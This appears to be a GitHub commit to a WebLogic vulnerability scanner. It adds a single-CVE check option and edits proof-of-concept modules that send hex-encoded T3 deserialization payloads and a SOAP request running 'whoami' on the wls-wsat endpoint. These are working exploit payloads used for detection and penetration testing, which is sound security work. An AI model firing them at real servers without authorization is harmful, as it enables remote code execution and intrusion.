Skip to content

Commit e02b213

Browse files
author
unknown
committed
add single vulnerability check
1 parent 3822a2d commit e02b213

17 files changed

+261
-30
lines changed

‎README.md

Lines changed: 24 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,26 @@
44

55
原作者已经写的非常好了，在这里做了部分的 bug 修改，部分脚本 poc 未生效，配置错误。之前在做一次内网渗透，扫了一圈，发现 CVE-2017-10271 与 CVE-2019-2890，当时就郁闷了，怎么跨度这么大，中间的漏洞一个都没有，难道还有修一半，漏一半的，查了一下发现部分 poc 无法使用。在这个项目里面对脚本做了一些修改，提高准确率。
66

7+
目前可检测漏洞编号有（部分非原理检测，需手动验证）：
8+
9+
+ weblogic administrator console
10+
+ CVE-2014-4210
11+
+ CVE-2016-0638
12+
+ CVE-2016-3510
13+
+ CVE-2017-3248
14+
+ CVE-2017-3506
15+
+ CVE-2017-10271
16+
+ CVE-2018-2628
17+
+ CVE-2018-2893
18+
+ CVE-2018-2894
19+
+ CVE-2018-3191
20+
+ CVE-2018-3245
21+
+ CVE-2018-3252
22+
+ CVE-2019-2618
23+
+ CVE-2019-2725
24+
+ CVE-2019-2729
25+
+ CVE-2019-2890
26+
727
# 快速开始
828

929
### 依赖
@@ -19,13 +39,16 @@ $ pip3 install requests
1939
### 使用说明
2040

2141
```
22-
usage: ws.py [-h] -t TARGETS [TARGETS ...] [-o OUTPUT]
42+
usage: ws.py [-h] -t TARGETS [TARGETS ...] -v VULNERABILITY
43+
[VULNERABILITY ...] [-o OUTPUT]
2344
2445
optional arguments:
2546
-h, --help 帮助信息
2647
-t TARGETS [TARGETS ...], --targets TARGETS [TARGETS ...]
2748
直接填入目标或文件列表（默认使用端口7001）. 例子：
2849
127.0.0.1:7001
50+
-v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...]
51+
漏洞名称或CVE编号，例子："weblogic administrator console"
2952
-o OUTPUT, --output OUTPUT
3053
输出 json 结果的路径。默认不输出结果
3154
```

‎stars/_import.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,10 @@
88
from . import cve_2018_2628
99
from . import cve_2018_2893
1010
from . import cve_2018_2894
11+
from . import cve_2018_3191
12+
from . import cve_2018_3245
13+
from . import cve_2018_3252
14+
from . import cve_2019_2618
1115
from . import cve_2019_2725
1216
from . import cve_2019_2729
1317
from . import cve_2019_2890

‎stars/cve_2016_0638.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,15 +18,16 @@ class CVE_2016_0638(Star):
1818
'CVE': 'CVE-2016-0638',
1919
'TAG': []
2020
}
21-
type = target_type.MODULE
21+
type = target_type.VULNERABILITY
2222

2323
def light_up(self, dip, dport, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):
2424
# 对端响应数据需要一段时间，使用 delay 来控制，如果不成功，可以加到 3s 左右，超过这个基本都是打了补丁的
2525
# t3 handshake
26+
dport = int(dport)
2627
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2728
sock.settimeout(timeout)
2829
try:
29-
sock.connect((dip, int(dport)))
30+
sock.connect((dip, dport))
3031
except socket.timeout:
3132
return False, {'msg': 'connection timeout.'}
3233
except ConnectionRefusedError:
@@ -37,7 +38,7 @@ def light_up(self, dip, dport, delay=1, timeout=5, *args, **kwargs) -> (bool, di
3738

3839
# build t3 request object
3940
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
40-
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
41+
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
4142
data3 = '1a7727000d3234322e323134'
4243
data4 = '2e312e32353461863d1d0000000078'
4344
for d in [data1, data2, data3, data4]:

‎stars/cve_2016_3510.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,15 +19,16 @@ class CVE_2016_3510(Star):
1919
'CVE': 'CVE-2016-3510',
2020
'TAG': []
2121
}
22-
type = target_type.MODULE
22+
type = target_type.VULNERABILITY
2323

2424
def light_up(self, dip, dport, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):
2525
# 对端响应数据需要一段时间，使用 delay 来控制，如果不成功，可以加到 3s，超过这个基本都是打了补丁的
2626
# t3 handshake
27+
dport = int(dport)
2728
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2829
sock.settimeout(timeout)
2930
try:
30-
sock.connect((dip, int(dport)))
31+
sock.connect((dip, dport))
3132
except socket.timeout:
3233
return False, {'msg': 'connection timeout.'}
3334
except ConnectionRefusedError:
@@ -38,7 +39,7 @@ def light_up(self, dip, dport, delay=1, timeout=5, *args, **kwargs) -> (bool, di
3839

3940
# build t3 request object
4041
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
41-
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
42+
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
4243
data3 = '1a7727000d3234322e323134'
4344
data4 = '2e312e32353461863d1d0000000078'
4445
for d in [data1, data2, data3, data4]:

‎stars/cve_2017_10271.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ class CVE_2017_10271(Star):
2222
'CVE': 'CVE-2017-10271',
2323
'TAG': []
2424
}
25-
type = target_type.MODULE
25+
type = target_type.VULNERABILITY
2626

2727
def light_up(self, dip, dport, cmd='whoami', *args, **kwargs) -> (bool, dict):
2828
url = 'http://{}:{}/wls-wsat/CoordinatorPortType'.format(dip, dport)
@@ -46,8 +46,7 @@ def light_up(self, dip, dport, cmd='whoami', *args, **kwargs) -> (bool, dict):
4646
<soapenv:Body/>
4747
</soapenv:Envelope>
4848
'''.format(t_data)
49-
5049
res, data = http(url, 'POST', data=data, verify=False, timeout=3, headers=headers)
51-
if res and ('<faultstring>java.lang.ProcessBuilder' in res.text or "<faultstring>0" in res.text):
50+
if res != None and ('<faultstring>java.lang.ProcessBuilder' in res.text or "<faultstring>0" in res.text):
5251
return True, {'msg': 'finish.'}
5352
return False, {'msg': 'finish.'}

‎stars/cve_2017_3248.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -20,15 +20,16 @@ class CVE_2017_3248(Star):
2020
'CVE': 'CVE-2017-3248',
2121
'TAG': []
2222
}
23-
type = target_type.MODULE
23+
type = target_type.VULNERABILITY
2424

2525
def light_up(self, dip, dport, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):
2626
# 对端响应数据需要一段时间，使用 delay 来控制，如果不成功，可以加到 3s 左右，超过这个基本都是打了补丁的
2727
# t3 handshake
28+
dport = int(dport)
2829
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2930
sock.settimeout(timeout)
3031
try:
31-
sock.connect((dip, int(dport)))
32+
sock.connect((dip, dport))
3233
except socket.timeout:
3334
return False, {'msg': 'connection timeout.'}
3435
except ConnectionRefusedError:
@@ -39,7 +40,7 @@ def light_up(self, dip, dport, delay=1, timeout=5, *args, **kwargs) -> (bool, di
3940

4041
# build t3 request object
4142
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
42-
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
43+
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
4344
data3 = '1a7727000d3234322e323134'
4445
data4 = '2e312e32353461863d1d0000000078'
4546
for d in [data1, data2, data3, data4]:

‎stars/cve_2017_3506.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ class CVE_2017_3506(Star):
1818
'CVE': 'CVE-2017-3506',
1919
'TAG': []
2020
}
21-
type = target_type.MODULE
21+
type = target_type.VULNERABILITY
2222

2323
def light_up(self, dip, dport, cmd='whoami', *args, **kwargs) -> (bool, dict):
2424
url = 'http://{}:{}/wls-wsat/CoordinatorPortType'.format(dip, dport)
@@ -44,5 +44,5 @@ def light_up(self, dip, dport, cmd='whoami', *args, **kwargs) -> (bool, dict):
4444

4545
headers = {'Content-Type': 'text/xml'}
4646
res, data = http(url, 'POST', headers, data=data, verify=False)
47-
return res and ('<faultstring>java.lang.ProcessBuilder' in res.text or "<faultstring>0" in res.text), {
47+
return res != None and ('<faultstring>java.lang.ProcessBuilder' in res.text or "<faultstring>0" in res.text), {
4848
'msg': 'finish.'}

0 commit comments

Comments
 (0)